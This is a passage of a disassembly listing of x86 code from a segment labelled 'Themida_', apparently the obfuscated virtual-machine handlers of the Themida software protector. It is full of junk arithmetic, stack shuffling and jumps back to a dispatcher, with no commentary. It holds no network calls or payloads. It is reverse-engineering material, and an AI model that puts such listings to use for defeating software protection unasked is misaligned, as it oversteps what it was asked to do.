		add	edx, 6BE1EADFh
		jmp	loc_55C17A
; ---------------------------------------------------------------------------


loc_5582BC:				; CODE XREF: Themida_:00553DB4j
		add	[esp+4], esi
		sub	dword ptr [esp+4], 4DF35774h
		jmp	loc_5581A8
; ---------------------------------------------------------------------------


loc_5582CD:				; CODE XREF: Themida_:005556B9j
		shl	edi, 6
		sub	edi, 0A13E23Ch
		jmp	loc_557798
; ---------------------------------------------------------------------------


loc_5582DB:				; CODE XREF: Themida_:0055C0A4j
		push	edx
		mov	edx, 0F08223Ah
		not	edx
		xor	edx, 81ADFB41h
		add	eax, edx
		pop	edx
		jmp	loc_551C1E
; ---------------------------------------------------------------------------


loc_5582F1:				; CODE XREF: Themida_:00555882j
		sub	eax, ebp
		pop	ebp
		jmp	loc_5563C9
; ---------------------------------------------------------------------------


loc_5582F9:				; CODE XREF: Themida_:00554C12j
		xor	ebx, eax
		pop	eax
		add	ebx, 64197FEDh
		shr	ebx, 2
		xor	ebx, 2471A101h
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 148F4A42h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55832B:				; CODE XREF: Themida_:005561C9j
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_554EE0
; ---------------------------------------------------------------------------


loc_558341:				; CODE XREF: Themida_:005537AFj
		xor	ebp, 4F1553B9h
		jmp	loc_554884
; ---------------------------------------------------------------------------


loc_55834C:				; CODE XREF: Themida_:00559FB2j
		mov	edi, 650B3F81h
		sub	edi, 560F4C94h
		shr	edi, 1
		sub	edi, 93B9EBF5h
		xor	ebx, edi
		pop	edi
		jmp	loc_55B686
; ---------------------------------------------------------------------------


loc_558367:				; CODE XREF: Themida_:0055B178j
		mov	edx, 77E32FF2h
		or	edx, 0F6C22B0h
		neg	edx
		and	edx, 6E33507Ah
		xor	edx, 10500Eh
		mov	ebx, edx
		pop	edx
		add	eax, ebx
		pop	ebx
		push	edx
		jmp	loc_55B49B
; ---------------------------------------------------------------------------


loc_55838C:				; CODE XREF: Themida_:00558D34j
		mov	edi, 598142ACh
		mov	edx, 1DCB5933h
		xor	edx, edi
		jmp	loc_55636E
; ---------------------------------------------------------------------------


loc_55839D:				; CODE XREF: Themida_:00559734j
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		add	esi, 5C89226Eh
		inc	esi
		push	ebx
		mov	ebx, 2F3D7C2Dh
		sub	esi, ebx
		pop	ebx
		xor	esi, 62BD75EEh
		jmp	loc_557B67
; ---------------------------------------------------------------------------


loc_5583BF:				; CODE XREF: Themida_:0055DA16j
		mov	cl, 0CAh
		or	cl, 47h
		and	cl, 7Bh
		sub	cl, 52h
		shr	cl, 5
		add	cl, 73h
		sub	dl, cl
		jmp	loc_55CBCA
; ---------------------------------------------------------------------------


loc_5583D7:				; CODE XREF: Themida_:00557930j
		pop	ebp
		add	eax, 26DC06FAh
		push	5E24h
		mov	[esp], ebx
		mov	ebx, 165842BDh
		dec	ebx
		add	ebx, 6AF6678Ah
		xor	ebx, 91FCF07Bh
		add	eax, ebx
		jmp	loc_55B7CC
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_558406:				; CODE XREF: Themida_:00557127j
		shr	edi, 7
		neg	edi
		sub	edi, 13E942DCh
		push	28EDh
		mov	[esp], esi
		mov	esi, 398D617Dh
		add	esi, 498E0012h
		jmp	loc_559371
; ---------------------------------------------------------------------------


loc_558429:				; CODE XREF: Themida_:0055234Ej
		sub	edi, esi
		add	edi, 3E2F425Fh
		pop	esi
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_559B97
		push	dword ptr [edi+28h]
		push	edi
		jmp	loc_558D4B
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_555C23
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	2A0Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	edx
		push	edi
		mov	edi, 3FFB3CCCh
		push	eax
		mov	eax, 6FF2AFAh
		push	ebp
		jmp	loc_559592
; ---------------------------------------------------------------------------


loc_558486:				; CODE XREF: Themida_:00554709j
		pop	esi
		jmp	loc_55B055
; ---------------------------------------------------------------------------


loc_55848C:				; CODE XREF: Themida_:0055AE6Dj
		push	esi
		push	4
		mov	esi, [esp]
		add	esp, 4
		add	edx, esi
		jmp	loc_558AEC
; ---------------------------------------------------------------------------


loc_55849F:				; CODE XREF: Themida_:005584C4j
		sub	al, 5Bh
		sub	al, bh
		add	al, 5Bh
		jmp	loc_557242
; ---------------------------------------------------------------------------


loc_5584AA:				; CODE XREF: Themida_:0055C832j
		xor	ecx, 0BFF42E4h
		jmp	loc_5569A0
; ---------------------------------------------------------------------------


loc_5584B5:				; CODE XREF: Themida_:0055D2C5j
		pop	edx
		sub	ebx, 5C992F3Dh
		jmp	loc_55D101
; ---------------------------------------------------------------------------


loc_5584C1:				; CODE XREF: Themida_:0055557Bj
		sub	bh, 75h
		jmp	loc_55849F
; ---------------------------------------------------------------------------


loc_5584C9:				; CODE XREF: Themida_:00559F0Bj
		pop	ebp
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edi
		push	eax
		xor	dword ptr [esp], 3C9C28C7h
		pop	edi
		jmp	loc_5581CE
; ---------------------------------------------------------------------------


loc_5584E8:				; CODE XREF: Themida_:0055B3FFj
		mov	esp, [esp]
		jmp	loc_554E61
; ---------------------------------------------------------------------------


loc_5584F0:				; CODE XREF: Themida_:00555B5Aj
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_558502:				; CODE XREF: Themida_:00555121j
		sub	edx, 306B2958h
		add	edx, 27B6EE3h
		sub	edx, 3C309542h
		jmp	loc_5558E7
; ---------------------------------------------------------------------------


loc_558519:				; CODE XREF: Themida_:005572D2j
		add	[esp], eax
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		push	5B996633h
		pop	eax
		not	eax
		push	ecx
		mov	ecx, 8C2E4B57h
		sub	eax, ecx
		pop	ecx
		push	eax
		xor	dword ptr [esp], 123928B6h
		pop	ebp
		jmp	loc_55551E
; ---------------------------------------------------------------------------


loc_558552:				; CODE XREF: Themida_:00555936j
		add	ebx, 0E3A52FFh
		sub	ebx, eax
		sub	ebx, 0E3A52FFh
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_55DB3B
; ---------------------------------------------------------------------------


loc_558572:				; CODE XREF: Themida_:00553C30j
		shr	ebp, 5
		shl	ebp, 8
		push	edx
		mov	edx, 4BFF0C1Dh
		xor	ebp, edx
		pop	edx
		jmp	loc_55416C
; ---------------------------------------------------------------------------


loc_558586:				; CODE XREF: Themida_:0055A201j
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_55DE83
; ---------------------------------------------------------------------------


loc_55858F:				; CODE XREF: Themida_:005552CBj
		pop	esp
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_558595:				; CODE XREF: Themida_:00552C17j
		add	edx, 4
		push	ebx
		jmp	loc_55CC0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_5585A1:				; CODE XREF: sub_55656B+114Cj
		mov	ecx, 63EA1427h
		jmp	loc_554C66
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_5585AB:				; CODE XREF: Themida_:005569A8j
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_558FD9
; ---------------------------------------------------------------------------


loc_5585BA:				; CODE XREF: Themida_:0055A54Ej
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, 3E304A11h
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 40C50CB2h
		xor	esi, 44FC0156h
		inc	esi
		xor	esi, 38311F7Fh
		push	edi
		mov	edi, 21666850h
		shl	edi, 5
		dec	edi
		sub	edi, 18F7E7A7h
		jmp	loc_55758D
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_55766F
; ---------------------------------------------------------------------------


loc_558610:				; CODE XREF: Themida_:005526D5j
		mov	ebx, 972C73DBh
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 76680540h
		sub	esi, 50B676Eh
		push	ebp
		mov	ebp, 705D6DF6h
		shr	ebp, 4
		jmp	loc_554891
; ---------------------------------------------------------------------------


loc_558637:				; CODE XREF: Themida_:00554473j
		push	dword ptr [esp]
		jmp	loc_55AE5E
; ---------------------------------------------------------------------------


loc_55863F:				; CODE XREF: Themida_:0055DC3Aj
		add	dword ptr [esp+4], 4E5141E7h
		add	[esp+4], ecx
		jmp	loc_55BC96
; ---------------------------------------------------------------------------


loc_558650:				; CODE XREF: Themida_:0055A74Bj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_558CAF
; ---------------------------------------------------------------------------


loc_55865E:				; CODE XREF: Themida_:0055ADACj
		push	eax
		jmp	loc_55799D
; ---------------------------------------------------------------------------


loc_558664:				; CODE XREF: Themida_:0055BA8Dj
		pop	edi
		add	edi, ecx
		jmp	loc_551D1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55866C:				; CODE XREF: sub_55656B-41BBj
		add	al, 13h
		xor	al, 5Ch
		or	al, 0BEh
		xor	al, 9Fh
		or	cl, al
		pop	eax
		dec	cl
		jmp	loc_55C2F6
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_55867E:				; CODE XREF: Themida_:0055493Aj
		add	ebx, 543B13DFh
		jmp	loc_55501E
; ---------------------------------------------------------------------------


loc_558689:				; CODE XREF: Themida_:005565E1j
		not	edx
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	eax
		jmp	loc_557FC7
; ---------------------------------------------------------------------------


loc_5586AA:				; CODE XREF: Themida_:005548D4j
		push	ebx
		mov	ebx, esp
		jmp	loc_556120
; ---------------------------------------------------------------------------


loc_5586B2:				; CODE XREF: Themida_:00554B07j
		pop	edi
		add	edi, ebx
		pop	ebx
		add	edi, ecx
		push	esi
		mov	esi, 15561D79h
		or	esi, 70DD45E9h
		jmp	loc_556083
; ---------------------------------------------------------------------------


loc_5586C9:				; CODE XREF: Themida_:00557ED3j
		neg	ebx
		sub	ebx, 5133F225h
		mov	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_5520C4
; ---------------------------------------------------------------------------


loc_5586DB:				; CODE XREF: Themida_:00557C98j
		add	edi, 4
		jmp	loc_5530C5
; ---------------------------------------------------------------------------


loc_5586E6:				; CODE XREF: Themida_:0055AF78j
		mov	esi, 2485A46h
		dec	esi
		neg	esi
		not	esi
		sub	esi, 15906456h
		shr	esi, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7B9479F6h
		add	ecx, 1
		not	ecx
		push	esi
		mov	esi, 49BAF18Fh
		sub	ecx, esi
		jmp	loc_557886
; ---------------------------------------------------------------------------


loc_558719:				; CODE XREF: Themida_:0055C714j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, 0F4D3E71h
		not	ebp
		jmp	loc_5535AF
; ---------------------------------------------------------------------------


loc_55872D:				; CODE XREF: Themida_:0055A1E0j
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	5C04h
		jmp	loc_556495
; ---------------------------------------------------------------------------


loc_55873F:				; CODE XREF: Themida_:0055D02Aj
		pop	ecx
		sub	esp, 2
		mov	[esp], bx
		not	byte ptr [esp]
		pop	bx
		neg	bl
		push	small 7837h
		mov	[esp], dx
		mov	dl, 0CFh
		xor	bl, dl
		mov	dx, [esp]
		add	esp, 2
		shr	bl, 2
		push	ecx
		mov	ch, 4Ah
		jmp	loc_558E51
; ---------------------------------------------------------------------------


loc_558772:				; CODE XREF: Themida_:00559EEBj
		sub	edx, 53FB2849h
		dec	edx
		sub	edx, 3FAC898Ch
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 6A125CEBh
		push	edi
		mov	edi, 7CDE2DBFh
		sub	edi, 51E63079h
		xor	edi, 6F2A7BA6h
		and	edi, 3EEC3B13h
		sub	edi, 0ECEF9977h
		add	eax, edi
		pop	edi
		add	eax, ebp
		sub	eax, 17DC6889h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6A125CEBh
		sub	eax, edi
		pop	edi
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5595F6
; ---------------------------------------------------------------------------


loc_5587D6:				; CODE XREF: Themida_:00553ACDj
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5539AB
; ---------------------------------------------------------------------------


loc_5587EC:				; CODE XREF: Themida_:00559D4Fj
		xor	edi, [esp]
		jmp	loc_55BDB9
; ---------------------------------------------------------------------------


loc_5587F4:				; CODE XREF: Themida_:00555C8Cj
		add	edi, 0B2748AA5h
		push	ebp
		mov	ebp, 23C64DF4h
		add	ebp, 0EBE213E7h
		and	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	edi, 1
		shr	edi, 4
		shr	edi, 6
		push	ecx
		mov	ecx, 82216BD4h
		sub	edi, ecx
		pop	ecx
		mov	ebx, edi
		jmp	loc_55373A
; ---------------------------------------------------------------------------


loc_558826:				; CODE XREF: Themida_:0055B0BAj
		mov	edi, 6FC321CBh
		or	edi, 552F71C2h
		not	edi
		shl	edi, 7
		and	edi, 15196CFCh
		xor	edi, 6C946EA7h
		and	ecx, edi
		pop	edi
		shl	ecx, 6
		sub	ecx, 1
		push	eax
		mov	eax, 6374541Eh
		sub	eax, 631B2BA3h
		sub	ecx, eax
		pop	eax
		add	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		jmp	loc_55D5DF
; ---------------------------------------------------------------------------


loc_55886C:				; CODE XREF: Themida_:005556E8j
		or	edi, eax
		pop	eax
		neg	edi
		jmp	loc_55A643
; ---------------------------------------------------------------------------


loc_558876:				; CODE XREF: Themida_:005549ACj
		pop	edi
		add	edi, 0C951B2Ah
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, edi
		mov	edi, [esp]
		push	edi
		jmp	loc_55AA74
; ---------------------------------------------------------------------------


loc_55888E:				; CODE XREF: Themida_:005588F7j
		mov	ebx, 48C86D20h
		jmp	loc_554136
; ---------------------------------------------------------------------------


loc_558898:				; CODE XREF: Themida_:00551ED7j
		add	esp, 4
		jmp	loc_55700B
; ---------------------------------------------------------------------------


loc_5588A3:				; CODE XREF: Themida_:0055D0D2j
		pop	eax
		jmp	loc_555109
; ---------------------------------------------------------------------------


loc_5588A9:				; CODE XREF: Themida_:00551CF9j
		shl	edx, 4
		jmp	loc_55B28A
; ---------------------------------------------------------------------------


loc_5588B1:				; CODE XREF: Themida_:00555EEBj
		pop	edi
		jmp	loc_556DEC
; ---------------------------------------------------------------------------


loc_5588B7:				; CODE XREF: Themida_:005581A3j
		pop	esi
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		mov	cx, [esp]
		push	3208h
		jmp	loc_552BB4
; ---------------------------------------------------------------------------


loc_5588CD:				; CODE XREF: Themida_:0055A1D1j
		mov	edx, esp
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, 0F7519AD7h
		rep movsd
		add	esp, [edx+38h]
		push	ebp
		push	ebx
		jmp	loc_55888E
; ---------------------------------------------------------------------------


loc_5588FC:				; CODE XREF: Themida_:00555FA0j
		push	eax
		mov	eax, esp
		push	4E65h
		mov	[esp], ebp
		mov	ebp, 306D09E7h
		jmp	loc_554EC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_558911:				; CODE XREF: sub_55656B+118Aj
		add	[esp+0Ah+var_8+2], esi
		mov	esi, [esp+0Ah+var_C+2]
		add	esp, 4
		pop	dword ptr [eax]
		push	esi
		jmp	loc_55391F
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_558923:				; CODE XREF: Themida_:00559747j
		pop	ecx
		add	esp, 4
		add	ebx, edi
		push	ecx
		jmp	loc_551E85
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_55C6A9
; ---------------------------------------------------------------------------


loc_55893A:				; CODE XREF: Themida_:0055B4D5j
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55ADD2
; ---------------------------------------------------------------------------


loc_55895A:				; CODE XREF: Themida_:0055B09Aj
		sub	ebp, edx
		pop	edx
		inc	ebp
		xor	ebp, 0DE5E6828h
		jmp	loc_55D655
; ---------------------------------------------------------------------------


loc_558969:				; CODE XREF: Themida_:00555813j
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		push	ecx
		mov	ecx, 78195C95h
		jmp	loc_55508B
; ---------------------------------------------------------------------------


loc_5589A2:				; CODE XREF: Themida_:00553ED0j
		add	eax, 145A001Dh
		mov	edx, [esp]
		jmp	loc_55B53B
; ---------------------------------------------------------------------------


loc_5589AF:				; CODE XREF: Themida_:00557E9Dj
		add	bh, 0A6h
		mov	dh, bh
		pop	ebx
		push	bx
		mov	bh, 0CEh
		add	al, bh
		pop	bx
		add	al, 9Ah
		sub	al, 0FCh
		add	al, dh
		add	al, 0FCh
		jmp	loc_555126
; ---------------------------------------------------------------------------


loc_5589CA:				; CODE XREF: Themida_:00557998j
		not	edi
		push	ebx
		mov	ebx, 2CC1354Dh
		jmp	loc_5534D5
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5589DE:				; CODE XREF: Themida_:005593F2j
		pop	ebp
		add	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_55D096
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5589FC:				; CODE XREF: Themida_:00555EF6j
		add	edx, eax
		sub	edx, 5587E64h
		sub	edx, 4B747DD2h
		mov	eax, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		sub	[esp], ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_558A24:				; CODE XREF: Themida_:0055C9F4j
		pop	eax
		sub	eax, edx
		pop	edx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_554451
; ---------------------------------------------------------------------------


loc_558A35:				; CODE XREF: Themida_:00556BF7j
		and	edi, 1BF0295Ch
		add	edi, 0F40FDFB8h
		add	eax, edi
		pop	edi
		push	edi
		jmp	loc_55A210
; ---------------------------------------------------------------------------


loc_558A4A:				; CODE XREF: Themida_:0055AFA8j
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55CAB6
; ---------------------------------------------------------------------------


loc_558A61:				; CODE XREF: Themida_:0055D391j
		add	dl, 3Eh
		mov	ch, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	al, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55DE8B
; ---------------------------------------------------------------------------


loc_558A7A:				; CODE XREF: Themida_:0055940Dj
		mov	[esp], eax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_558A82:				; CODE XREF: Themida_:0055D847j
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 48AE1935h
		and	ebx, 3E814CC2h
		jmp	loc_55DE5C
; ---------------------------------------------------------------------------


loc_558A9C:				; CODE XREF: Themida_:00554356j
		pop	ebx
		jmp	loc_558AD9
; ---------------------------------------------------------------------------


loc_558AA2:				; CODE XREF: Themida_:00557FE1j
		pop	ecx
		or	eax, eax
		jz	loc_559F1F
		push	edx
		push	52Ah
		jmp	loc_551F48
; ---------------------------------------------------------------------------


loc_558AB6:				; CODE XREF: Themida_:00558EDEj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55A7F3
; ---------------------------------------------------------------------------


loc_558ACB:				; CODE XREF: Themida_:0055C7BCj
		mov	eax, 34B6034Bh
		add	esi, eax
		pop	eax
		push	ecx
		jmp	loc_556621
; ---------------------------------------------------------------------------


loc_558AD9:				; CODE XREF: Themida_:00558A9Dj
		sub	eax, 0B1C8CC37h
		push	ebp
		jmp	loc_558274
; ---------------------------------------------------------------------------


loc_558AE4:				; CODE XREF: Themida_:0055AB38j
		add	esi, ebp
		pop	ebp
		jmp	loc_55A206
; ---------------------------------------------------------------------------


loc_558AEC:				; CODE XREF: Themida_:0055849Aj
		pop	esi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_554C3A
; ---------------------------------------------------------------------------


loc_558AFC:				; CODE XREF: Themida_:0055C7CCj
		sub	ebx, 0C154B2D5h
		jmp	loc_557DD7
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dl, 31h
		xor	dl, 99h
		shr	dl, 8
		sub	dl, 28h
		add	al, dl
		jmp	loc_556533
; ---------------------------------------------------------------------------


loc_558B1B:				; CODE XREF: Themida_:0055428Fj
		pop	ebp
		jmp	loc_55D23A
; ---------------------------------------------------------------------------


loc_558B21:				; CODE XREF: Themida_:00554131j
		mov	eax, [esp]
		jmp	loc_55486C
; ---------------------------------------------------------------------------


loc_558B29:				; CODE XREF: Themida_:00557802j
		mov	[esp], ebp
		push	5EA2h
		mov	[esp], ebx
		mov	ebx, 4
		push	ebx
		pop	ebp
		pop	ebx
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 2
		jmp	loc_557CAF
; ---------------------------------------------------------------------------


loc_558B4F:				; CODE XREF: Themida_:00552FEBj
		xor	bl, al
		jmp	loc_55D730
; ---------------------------------------------------------------------------


loc_558B56:				; CODE XREF: Themida_:0055D3BCj
		pop	esp
		add	esp, 4
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_558B5F:				; CODE XREF: Themida_:00556FC5j
		dec	ebp
		sub	ebp, 0B560E3FEh
		jmp	loc_55B6D0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_559CA7
; ---------------------------------------------------------------------------


loc_558B77:				; CODE XREF: Themida_:00557777j
		pop	edi
		sub	edi, 415974FAh
		pop	eax
		and	edi, 8A75584h
		sub	edi, 0CFC7B1A2h
		sub	eax, edi
		pop	edi
		add	eax, 13074171h
		jmp	loc_55BAC3
; ---------------------------------------------------------------------------


loc_558B98:				; CODE XREF: Themida_:0055AC83j
		shl	edi, 1
		add	edi, 377638B7h
		sub	edi, 3E12D095h
		add	eax, edi
		jmp	loc_5572E8
; ---------------------------------------------------------------------------


loc_558BAD:				; CODE XREF: Themida_:0055214Bj
		mov	eax, 2
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552F67
; ---------------------------------------------------------------------------


loc_558BBE:				; CODE XREF: Themida_:0055B509j
		xchg	ebx, [esp]
		pop	esp
		push	0C05h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5542F3
; ---------------------------------------------------------------------------


loc_558BE7:				; CODE XREF: Themida_:00551D3Aj
		sub	ebp, edx
		pop	edx
		and	ebp, 15151FFh
		push	esi
		mov	esi, 5519507Fh
		shr	esi, 1
		inc	esi
		xor	esi, 3D1DB436h
		or	ebp, esi
		pop	esi
		dec	ebp
		not	ebp
		sub	ebp, 0E86EA27Fh
		add	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_554F3F
; ---------------------------------------------------------------------------


loc_558C21:				; CODE XREF: Themida_:0055DE86j
		mov	[esp], ecx
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_558C29:				; CODE XREF: Themida_:0055DF41j
		neg	edx
		jmp	loc_552F2A
; ---------------------------------------------------------------------------


loc_558C30:				; CODE XREF: Themida_:00552BAFj
		and	esi, 23054132h
		jmp	loc_557420
; ---------------------------------------------------------------------------


loc_558C3B:				; CODE XREF: Themida_:00559DE4j
		neg	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_559FA5
; ---------------------------------------------------------------------------


loc_558C46:				; CODE XREF: Themida_:0055BA0Fj
		push	ebp
		mov	ebp, 5B908C1h
		jmp	loc_552281
; ---------------------------------------------------------------------------


loc_558C51:				; CODE XREF: Themida_:005599E1j
		add	esp, 4
		jmp	loc_555D9E
; ---------------------------------------------------------------------------


loc_558C5C:				; CODE XREF: Themida_:005524B1j
		sub	bx, ax
		sub	bx, 21B5h
		pop	eax
		jmp	loc_55D68D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2E35h
		mov	[esp], ebx
		push	69E6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55DB32
; ---------------------------------------------------------------------------


loc_558C99:				; CODE XREF: Themida_:0055A291j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		jmp	loc_555818
; ---------------------------------------------------------------------------


loc_558CA6:				; CODE XREF: Themida_:00556477j
		and	[esp], eax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_558CAF:				; CODE XREF: Themida_:00558659j
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_556E3C
; ---------------------------------------------------------------------------


loc_558CBE:				; CODE XREF: Themida_:005544C4j
		push	esi
		mov	esi, 6CF543DDh
		or	esi, 10535B9Fh
		jmp	loc_55658B
; ---------------------------------------------------------------------------


loc_558CCF:				; CODE XREF: Themida_:00556812j
		pop	ecx
		xor	edx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_552B60
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55BAFC
; ---------------------------------------------------------------------------


loc_558CEA:				; CODE XREF: Themida_:0055A015j
		mov	[esp], edi
		mov	edi, 6C74388Ah
		neg	edi
		push	edx
		mov	edx, 0D02618Fh
		add	edi, edx
		pop	edx
		shr	edi, 2
		add	edi, 7DFC1166h
		jmp	loc_55B17D
; ---------------------------------------------------------------------------


loc_558D0B:				; CODE XREF: Themida_:00559A0Cj
		add	edi, 4
		jmp	loc_55826C
; ---------------------------------------------------------------------------


loc_558D16:				; CODE XREF: Themida_:005533C3j
		sub	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_55B493
; ---------------------------------------------------------------------------
		push	edx
		push	66FAh
		mov	[esp], eax
		push	444A179Fh
		pop	eax
		push	edi
		jmp	loc_55838C
; ---------------------------------------------------------------------------


loc_558D39:				; CODE XREF: Themida_:00557DEDj
		sub	esp, 4
		mov	[esp], edx
		push	ax
		push	edx
		push	ecx
		jmp	loc_5549B9
; ---------------------------------------------------------------------------


loc_558D4B:				; CODE XREF: Themida_:00558449j
		push	7516334Fh
		pop	edi
		add	dword ptr [esp+4], 39DC08F3h
		sub	dword ptr [esp+4], 286E2D57h
		sub	[esp+4], edi
		jmp	loc_55CACB
; ---------------------------------------------------------------------------


loc_558D6A:				; CODE XREF: Themida_:005553D4j
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5564A2
; ---------------------------------------------------------------------------


loc_558D82:				; CODE XREF: Themida_:0055334Ej
		pop	eax
		pop	ecx
		mov	ch, bh
		jmp	loc_554294
; ---------------------------------------------------------------------------


loc_558D8B:				; CODE XREF: Themida_:0055C550j
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_5553AC
; ---------------------------------------------------------------------------


loc_558D96:				; CODE XREF: Themida_:0055B156j
		pop	edx
		sub	edx, 1A6C12ADh
		jmp	loc_55C8A1
; ---------------------------------------------------------------------------


loc_558DA2:				; CODE XREF: Themida_:0055316Bj
		xchg	ebx, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_556ABA
; ---------------------------------------------------------------------------


loc_558DB0:				; CODE XREF: Themida_:00559181j
		mov	ebx, esi
		pop	esi
		jmp	loc_552167
; ---------------------------------------------------------------------------


loc_558DB8:				; CODE XREF: Themida_:0055DE57j
